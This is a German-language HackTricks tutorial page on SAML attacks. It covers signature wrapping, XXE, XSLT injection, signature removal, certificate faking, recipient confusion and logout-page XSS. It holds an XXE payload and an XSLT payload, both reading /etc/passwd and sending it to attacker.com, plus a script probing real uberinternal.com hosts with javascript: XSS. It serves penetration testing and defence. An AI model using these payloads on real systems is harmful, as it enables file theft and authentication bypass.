German - Ht
HackTricks Training Twitter Linkedin Sponsor

SAML Attacks

SAML-Angriffe

Unterstützen Sie HackTricks

Grundinformationen

SAML Basics

Tool

SAMLExtractor: Ein Tool, das eine URL oder eine Liste von URLs akzeptieren kann und die SAML-Verbrauchs-URL zurückgibt.

XML-Rundreise

Im XML wird der signierte Teil des XML im Speicher gespeichert, dann wird eine gewisse Kodierung/Dekodierung durchgeführt und die Signatur wird überprüft. Idealerweise sollte diese Kodierung/Dekodierung die Daten nicht ändern, aber basierend auf diesem Szenario könnten die überprüften Daten und die ursprünglichen Daten nicht identisch sein.

Zum Beispiel, überprüfen Sie den folgenden Code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Das Ausführen des Programms gegen REXML 3.2.4 oder früher würde stattdessen die folgende Ausgabe ergeben:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), Angreifer nutzen eine Schwachstelle aus, die auftritt, wenn XML-Dokumente in zwei verschiedenen Phasen verarbeitet werden: Signaturvalidierung und Funktionsaufruf. Diese Angriffe beinhalten die Veränderung der XML-Dokumentstruktur. Insbesondere injiziert der Angreifer gefälschte Elemente, die die Gültigkeit der XML-Signatur nicht beeinträchtigen. Diese Manipulation zielt darauf ab, eine Diskrepanz zwischen den von der Anwendungslogik analysierten Elementen und den von dem Signaturprüfmodul überprüften Elementen zu schaffen. Infolgedessen bleibt die XML-Signatur technisch gültig und besteht die Überprüfung, während die Anwendungslogik die betrügerischen Elemente verarbeitet. Folglich umgeht der Angreifer effektiv den Integritätsschutz und die Ursprungsauthentifizierung der XML-Signatur, was die Einspeisung beliebiger Inhalte ohne Erkennung ermöglicht.

Die folgenden Angriffe basieren auf diesem Blogbeitrag und diesem Papier. Überprüfen Sie diese für weitere Details.

XSW #1

  • Strategie: Ein neues Root-Element, das die Signatur enthält, wird hinzugefügt.

  • Implikation: Der Validator könnte zwischen dem legitimen "Response -> Assertion -> Subject" und dem "bösen neuen Response -> Assertion -> Subject" des Angreifers verwirrt werden, was zu Datenintegritätsproblemen führt.

XSW #2

  • Unterschied zu XSW #1: Verwendet eine abgetrennte Signatur anstelle einer umschließenden Signatur.

  • Implikation: Die "böse" Struktur, ähnlich wie bei XSW #1, zielt darauf ab, die Geschäftslogik nach der Integritätsprüfung zu täuschen.

XSW #3

  • Strategie: Eine böse Assertion wird auf derselben Hierarchieebene wie die ursprüngliche Assertion erstellt.

  • Implikation: Zielt darauf ab, die Geschäftslogik zu verwirren, damit sie die bösartigen Daten verwendet.

XSW #4

  • Unterschied zu XSW #3: Die ursprüngliche Assertion wird ein Kind der duplizierten (bösen) Assertion.

  • Implikation: Ähnlich wie bei XSW #3, aber verändert die XML-Struktur aggressiver.

XSW #5

  • Einzigartiger Aspekt: Weder die Signatur noch die ursprüngliche Assertion entsprechen den Standardkonfigurationen (umschlossen/umschließend/abgetrennt).

  • Implikation: Die kopierte Assertion umschließt die Signatur und ändert die erwartete Dokumentstruktur.

XSW #6

  • Strategie: Ähnliche Standortinsertion wie XSW #4 und #5, aber mit einer Wendung.

  • Implikation: Die kopierte Assertion umschließt die Signatur, die dann die ursprüngliche Assertion umschließt und eine verschachtelte täuschende Struktur schafft.

XSW #7

  • Strategie: Ein Extensions-Element wird eingefügt, wobei die kopierte Assertion ein Kind ist.

  • Implikation: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um die Schema-Validierungsmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.

XSW #8

  • Unterschied zu XSW #7: Verwendet ein anderes weniger restriktives XML-Element für eine Variante des Angriffs.

  • Implikation: Die ursprüngliche Assertion wird ein Kind des weniger restriktiven Elements, wodurch die Struktur, die in XSW #7 verwendet wurde, umgekehrt wird.

Tool

Sie können die Burp-Erweiterung SAML Raider verwenden, um die Anfrage zu parsen, einen beliebigen XSW-Angriff anzuwenden, den Sie wählen, und ihn zu starten.

XXE

Wenn Sie nicht wissen, welche Art von Angriffen XXE sind, lesen Sie bitte die folgende Seite:

XXE - XEE - XML External Entity

SAML-Antworten sind deflatiertes und base64-kodiertes XML-Dokumente und können anfällig für XML External Entity (XXE) Angriffe sein. Durch die Manipulation der XML-Struktur der SAML-Antwort können Angreifer versuchen, XXE-Schwachstellen auszunutzen. Hier ist, wie ein solcher Angriff visualisiert werden kann:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu generieren, um mögliche XXE-Schwachstellen und SAML-Schwachstellen zu testen.

Überprüfen Sie auch diesen Vortrag: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Für weitere Informationen zu XSLT gehen Sie zu:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) können verwendet werden, um XML-Dokumente in verschiedene Formate wie HTML, JSON oder PDF zu transformieren. Es ist wichtig zu beachten, dass XSLT-Transformationen vor der Überprüfung der digitalen Signatur durchgeführt werden. Das bedeutet, dass ein Angriff auch ohne eine gültige Signatur erfolgreich sein kann; eine selbstsignierte oder ungültige Signatur reicht aus, um fortzufahren.

Hier finden Sie einen POC, um nach dieser Art von Schwachstellen zu suchen. Auf der Hacktricks-Seite, die zu Beginn dieses Abschnitts erwähnt wurde, finden Sie Payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um das POC aus einer SAML-Anfrage zu generieren, um mögliche XSLT-Schwachstellen zu testen.

Überprüfen Sie auch diesen Vortrag: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Die XML Signature Exclusion beobachtet das Verhalten von SAML-Implementierungen, wenn das Signature-Element nicht vorhanden ist. Wenn dieses Element fehlt, kann die Signaturvalidierung möglicherweise nicht erfolgen, was es anfällig macht. Es ist möglich, dies zu testen, indem die Inhalte, die normalerweise von der Signatur überprüft werden, verändert werden.

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden. Fangen Sie die SAML-Antwort ab und klicken Sie auf Remove Signatures. Dabei werden alle Signature-Elemente entfernt.

Nachdem die Signaturen entfernt wurden, lassen Sie die Anfrage an das Ziel weiterleiten. Wenn die Signatur vom Dienst nicht benötigt wird.

Certificate Faking

Certificate Faking

Certificate Faking ist eine Technik, um zu testen, ob ein Service Provider (SP) ordnungsgemäß überprüft, dass eine SAML-Nachricht von einem vertrauenswürdigen Identity Provider (IdP) signiert ist. Es beinhaltet die Verwendung eines *selbstsignierten Zertifikats, um die SAML-Antwort oder -Assertion zu signieren, was hilft, den Vertrauensvalidierungsprozess zwischen SP und IdP zu bewerten.

How to Conduct Certificate Faking

Die folgenden Schritte skizzieren den Prozess unter Verwendung der SAML Raider Burp-Erweiterung:

  1. Fangen Sie die SAML-Antwort ab.

  2. Wenn die Antwort eine Signatur enthält, senden Sie das Zertifikat an SAML Raider Certs, indem Sie die Schaltfläche Send Certificate to SAML Raider Certs verwenden.

  3. Wählen Sie im SAML Raider-Zertifikat-Tab das importierte Zertifikat aus und klicken Sie auf Save and Self-Sign, um einen selbstsignierten Klon des ursprünglichen Zertifikats zu erstellen.

  4. Gehen Sie zurück zur abgefangenen Anfrage im Burp-Proxy. Wählen Sie das neue selbstsignierte Zertifikat aus dem Dropdown-Menü für die XML-Signatur aus.

  5. Entfernen Sie alle vorhandenen Signaturen mit der Schaltfläche Remove Signatures.

  6. Signieren Sie die Nachricht oder Assertion mit dem neuen Zertifikat, indem Sie die Schaltfläche (Re-)Sign Message oder (Re-)Sign Assertion verwenden, je nach Bedarf.

  7. Leiten Sie die signierte Nachricht weiter. Eine erfolgreiche Authentifizierung zeigt an, dass der SP Nachrichten akzeptiert, die mit Ihrem selbstsignierten Zertifikat signiert sind, was potenzielle Schwachstellen im Validierungsprozess der SAML-Nachrichten offenbart.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion und Service Provider Target Confusion beinhalten die Überprüfung, ob der Service Provider den beabsichtigten Empfänger einer Antwort korrekt validiert. Im Wesentlichen sollte ein Service Provider eine Authentifizierungsantwort ablehnen, wenn sie für einen anderen Anbieter bestimmt war. Das entscheidende Element hier ist das Recipient-Feld, das sich im SubjectConfirmationData-Element einer SAML-Antwort befindet. Dieses Feld gibt eine URL an, die angibt, wo die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem beabsichtigten Service Provider übereinstimmt, sollte die Assertion als ungültig angesehen werden.

How It Works

Damit ein SAML Token Recipient Confusion (SAML-TRC) Angriff durchführbar ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss es ein gültiges Konto bei einem Service Provider (als SP-Legit bezeichnet) geben. Zweitens muss der angegriffene Service Provider (SP-Target) Tokens vom selben Identity Provider akzeptieren, der SP-Legit bedient.

Der Angriffsprozess ist unter diesen Bedingungen unkompliziert. Eine authentische Sitzung wird mit SP-Legit über den gemeinsamen Identity Provider initiiert. Die SAML-Antwort vom Identity Provider an SP-Legit wird abgefangen. Diese abgefangene SAML-Antwort, die ursprünglich für SP-Legit bestimmt war, wird dann an SP-Target umgeleitet. Der Erfolg dieses Angriffs wird daran gemessen, dass SP-Target die Assertion akzeptiert und den Zugriff auf Ressourcen gewährt, die unter demselben Kontonamen verwendet werden, der für SP-Legit verwendet wurde.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-Funktionalität

Die ursprüngliche Forschung kann über diesen Link aufgerufen werden.

Während des Prozesses des Directory Brute Forcings wurde eine Logout-Seite entdeckt unter:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Beim Zugriff auf diesen Link erfolgte eine Weiterleitung zu:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dies zeigte, dass der base-Parameter eine URL akzeptiert. In Anbetracht dessen entstand die Idee, die URL durch javascript:alert(123); zu ersetzen, um einen XSS (Cross-Site Scripting) Angriff zu initiieren.

Massenexploitation

Aus dieser Forschung:

Das SAMLExtractor Tool wurde verwendet, um Subdomains von uberinternal.com für Domains zu analysieren, die dieselbe Bibliothek nutzen. Anschließend wurde ein Skript entwickelt, um die oidauth/prompt-Seite anzugreifen. Dieses Skript testet auf XSS (Cross-Site Scripting), indem es Daten eingibt und überprüft, ob sie im Output reflektiert werden. In Fällen, in denen die Eingabe tatsächlich reflektiert wird, kennzeichnet das Skript die Seite als anfällig.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referenzen

Unterstützen Sie HackTricks
PreviousReverse Tab NabbingNextSAML Basics

Last updated